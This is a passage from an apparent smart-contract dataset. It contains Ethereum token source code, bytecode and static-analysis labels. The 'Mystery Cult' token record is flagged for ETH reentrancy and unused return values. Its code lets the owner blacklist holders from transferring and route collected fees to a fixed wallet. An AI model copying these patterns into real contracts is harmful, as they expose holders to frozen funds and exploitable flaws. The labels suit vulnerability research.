6040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ec565b60008061173f8385611cb1565b9050838110156112dd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610624565b600061179b61149b565b905060006117a983836118a4565b306000908152600260205260409020549091506117c69082611732565b30600090815260026020526040902055505050565b6006546117e890836116f0565b6006556007546117f89082611732565b6007555050565b6000808080611819606461181389896118a4565b906114be565b9050600061182c60646118138a896118a4565b905060006118448261183e8b866116f0565b906116f0565b9992985090965090945050505050565b600080808061186388866118a4565b9050600061187188876118a4565b9050600061187f88886118a4565b905060006118918261183e86866116f0565b939b939a50919850919650505050505050565b6000826118b3575060006106aa565b60006118bf8385611d90565b9050826118cc8583611d6e565b146112dd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610624565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f457600080fd5b803561195981611939565b919050565b6000602080838503121561197157600080fd5b823567ffffffffffffffff8082111561198957600080fd5b818501915085601f83011261199d57600080fd5b8135818111156119af576119af611923565b8060051b604051601f19603f830116810181811085821117156119d4576119d4611923565b6040529182528482019250838101850191888311156119f257600080fd5b938501935b82851015611a1757611a088561194e565b845293850193928501926119f7565b98975050505050505050565b600060208083528351808285015260005b81811015611a5057858101830151858201604001528201611a34565b81811115611a62576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8b57600080fd5b8235611a9681611939565b946020939093013593505050565b600080600060608486031215611ab957600080fd5b8335611ac481611939565b92506020840135611ad481611939565b929592945050506040919091013590565b600060208284031215611af757600080fd5b81356112dd81611939565b8035801515811461195957600080fd5b600060208284031215611b2457600080fd5b6112dd82611b02565b600060208284031215611b3f57600080fd5b5035919050565b60008060008060808587031215611b5c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8d57600080fd5b833567ffffffffffffffff80821115611ba557600080fd5b818601915086601f830112611bb957600080fd5b813581811115611bc857600080fd5b8760208260051b8501011115611bdd57600080fd5b602092830195509350611bf39186019050611b02565b90509250925092565b60008060408385031215611c0f57600080fd5b8235611c1a81611939565b91506020830135611c2a81611939565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caa57611caa611c80565b5060010190565b60008219821115611cc457611cc4611c80565b500190565b600082821015611cdb57611cdb611c80565b500390565b600060208284031215611cf257600080fd5b81516112dd81611939565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4d5784516001600160a01b031683529383019391830191600101611d28565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daa57611daa611c80565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205e4091ba940230ae73424f503b6b154accc462e062b4aa1fb0dacdb28d38ee7d64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 319 |
0x98958cb0ddf7388065648d06fa9d28d88e1f186c | // SPDX-License-Identifier: UNLICENSED
/*
Welcome to Mystery Cult Token! ($MCULT)
Telegram: @MSTCULT
Website : https://mysterycult.com/
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MYSTERYCULT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Mystery Cult";
string private constant _symbol = "MCULT";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x9D7B9706d1300792bdf0aC8D492705E5530F90AE);
_buyTax = 5;
_sellTax = 5;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 20000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 20000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 17) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 12) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034a578063c3c8cd801461036a578063c9567bf91461037f578063dbe8272c14610394578063dc1052e2146103b4578063dd62ed3e146103d457600080fd5b8063715018a6146102aa5780638da5cb5b146102bf57806395d89b41146102e75780639e78fb4f14610315578063a9059cbb1461032a57600080fd5b8063273123b7116100f2578063273123b714610219578063313ce5671461023957806346df33b7146102555780636fc3eaec1461027557806370a082311461028a57600080fd5b806306fdde031461013a578063095ea7b31461018157806318160ddd146101b15780631bbae6e0146101d757806323b872dd146101f957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600c81526b135e5cdd195c9e4810dd5b1d60a21b60208201525b604051610178919061196f565b60405180910390f35b34801561018d57600080fd5b506101a161019c366004611800565b61041a565b6040519015158152602001610178565b3480156101bd57600080fd5b50683635c9adc5dea000005b604051908152602001610178565b3480156101e357600080fd5b506101f76101f236600461192a565b610431565b005b34801561020557600080fd5b506101a16102143660046117c0565b61047e565b34801561022557600080fd5b506101f7610234366004611750565b6104e7565b34801561024557600080fd5b5060405160098152602001610178565b34801561026157600080fd5b506101f76102703660046118f2565b610532565b34801561028157600080fd5b506101f761057a565b34801561029657600080fd5b506101c96102a5366004611750565b6105ae565b3480156102b657600080fd5b506101f76105d0565b3480156102cb57600080fd5b506000546040516001600160a01b039091168152602001610178565b3480156102f357600080fd5b506040805180820190915260058152641350d5531560da1b602082015261016b565b34801561032157600080fd5b506101f7610644565b34801561033657600080fd5b506101a1610345366004611800565b610883565b34801561035657600080fd5b506101f761036536600461182b565b610890565b34801561037657600080fd5b506101f7610934565b34801561038b57600080fd5b506101f7610974565b3480156103a057600080fd5b506101f76103af36600461192a565b610b3d565b3480156103c057600080fd5b506101f76103cf36600461192a565b610b75565b3480156103e057600080fd5b506101c96103ef366004611788565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610427338484610bad565b5060015b92915050565b6000546001600160a01b031633146104645760405162461bcd60e51b815260040161045b906119c2565b60405180910390fd5b6801158e460913d0000081111561047b5760108190555b50565b600061048b848484610cd1565b6104dd84336104d885604051806060016040528060288152602001611b40602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611006565b610bad565b5060019392505050565b6000546001600160a01b031633146105115760405162461bcd60e51b815260040161045b906119c2565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055c5760405162461bcd60e51b815260040161045b906119c2565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260040161045b906119c2565b4761047b81611040565b6001600160a01b03811660009081526002602052604081205461042b9061107a565b6000546001600160a01b031633146105fa5760405162461bcd60e51b815260040161045b906119c2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066e5760405162461bcd60e51b815260040161045b906119c2565b600f54600160a01b900460ff16156106c85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072857600080fd5b505afa15801561073c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610760919061176c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a857600080fd5b505afa1580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e0919061176c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082857600080fd5b505af115801561083c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610860919061176c565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610427338484610cd1565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161045b906119c2565b60005b8151811015610930576001600660008484815181106108ec57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092881611ad5565b9150506108bd565b5050565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161045b906119c2565b6000610969306105ae565b905061047b816110fe565b6000546001600160a01b0316331461099e5760405162461bcd60e51b815260040161045b906119c2565b600e546109bf9030906001600160a01b0316683635c9adc5dea00000610bad565b600e546001600160a01b031663f305d71947306109db816105ae565b6000806109f06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a5357600080fd5b505af1158015610a67573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8c9190611942565b5050600f80546801158e460913d0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0557600080fd5b505af1158015610b19573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047b919061190e565b6000546001600160a01b03163314610b675760405162461bcd60e51b815260040161045b906119c2565b601181101561047b57600b55565b6000546001600160a01b03163314610b9f5760405162461bcd60e51b815260040161045b906119c2565b600c81101561047b57600c55565b6001600160a01b038316610c0f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045b565b6001600160a01b038216610c705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045b565b6001600160a01b038216610d975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045b565b60008111610df95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045b565b6001600160a01b03831660009081526006602052604090205460ff1615610e1f57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e6157506001600160a01b03821660009081526005602052604090205460ff16155b15610ff6576000600955600c54600a55600f546001600160a01b038481169116148015610e9c5750600e546001600160a01b03838116911614155b8015610ec157506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed65750600f54600160b81b900460ff165b15610f03576000610ee6836105ae565b601054909150610ef683836112a3565b1115610f0157600080fd5b505b600f546001600160a01b038381169116148015610f2e5750600e546001600160a01b03848116911614155b8015610f5357506001600160a01b03831660009081526005602052604090205460ff16155b15610f64576000600955600b54600a555b6000610f6f306105ae565b600f54909150600160a81b900460ff16158015610f9a5750600f546001600160a01b03858116911614155b8015610faf5750600f54600160b01b900460ff165b15610ff4576000610fc1600483611a7f565b9050610fcd8183611abe565b9150610fd881611302565b610fe1826110fe565b478015610ff157610ff147611040565b50505b505b611001838383611338565b505050565b6000818484111561102a5760405162461bcd60e51b815260040161045b919061196f565b5060006110378486611abe565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610930573d6000803e3d6000fd5b60006007548211156110e15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045b565b60006110eb611343565b90506110f78382611366565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061115457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111a857600080fd5b505afa1580156111bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e0919061176c565b8160018151811061120157634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112279130911684610bad565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112609085906000908690309042906004016119f7565b600060405180830381600087803b15801561127a57600080fd5b505af115801561128e573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112b08385611a67565b9050838110156110f75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045b565b600f805460ff60a81b1916600160a81b1790558015611328576113283061dead83610cd1565b50600f805460ff60a81b19169055565b6110018383836113a8565b600080600061135061149f565b909250905061135f8282611366565b9250505090565b60006110f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114e1565b6000806000806000806113ba8761150f565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113ec908761156c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461141b90866112a3565b6001600160a01b03891660009081526002602052604090205561143d816115ae565b61144784836115f8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161148c91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006114bb8282611366565b8210156114d857505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836115025760405162461bcd60e51b815260040161045b919061196f565b5060006110378486611a7f565b600080600080600080600080600061152c8a600954600a5461161c565b925092509250600061153c611343565b9050600080600061154f8e878787611671565b919e509c509a509598509396509194505050505091939550919395565b60006110f783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611006565b60006115b8611343565b905060006115c683836116c1565b306000908152600260205260409020549091506115e390826112a3565b30600090815260026020526040902055505050565b600754611605908361156c565b60075560085461161590826112a3565b6008555050565b6000808080611636606461163089896116c1565b90611366565b9050600061164960646116308a896116c1565b905060006116618261165b8b8661156c565b9061156c565b9992985090965090945050505050565b600080808061168088866116c1565b9050600061168e88876116c1565b9050600061169c88886116c1565b905060006116ae8261165b868661156c565b939b939a50919850919650505050505050565b6000826116d05750600061042b565b60006116dc8385611a9f565b9050826116e98583611a7f565b146110f75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045b565b803561174b81611b1c565b919050565b600060208284031215611761578081fd5b81356110f781611b1c565b60006020828403121561177d578081fd5b81516110f781611b1c565b6000806040838503121561179a578081fd5b82356117a581611b1c565b915060208301356117b581611b1c565b809150509250929050565b6000806000606084860312156117d4578081fd5b83356117df81611b1c565b925060208401356117ef81611b1c565b929592945050506040919091013590565b60008060408385031215611812578182fd5b823561181d81611b1c565b946020939093013593505050565b6000602080838503121561183d578182fd5b823567ffffffffffffffff80821115611854578384fd5b818501915085601f830112611867578384fd5b81358181111561187957611879611b06565b8060051b604051601f19603f8301168101818110858211171561189e5761189e611b06565b604052828152858101935084860182860187018a10156118bc578788fd5b8795505b838610156118e5576118d181611740565b8552600195909501949386019386016118c0565b5098975050505050505050565b600060208284031215611903578081fd5b81356110f781611b31565b60006020828403121561191f578081fd5b81516110f781611b31565b60006020828403121561193b578081fd5b5035919050565b600080600060608486031215611956578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561199b5785810183015185820160400152820161197f565b818111156119ac5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a465784516001600160a01b031683529383019391830191600101611a21565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a7a57611a7a611af0565b500190565b600082611a9a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ab957611ab9611af0565b500290565b600082821015611ad057611ad0611af0565b500390565b6000600019821415611ae957611ae9611af0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047b57600080fd5b801515811461047b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207829db87bc49ac6150b5fbe1126cc72a2c914b4d24e227e3b60416570faf6b9064736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 320 |
0x238e13d9b0ad0d54d063469c31c9ac757c826bae | pragma solidity ^0.4.19;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
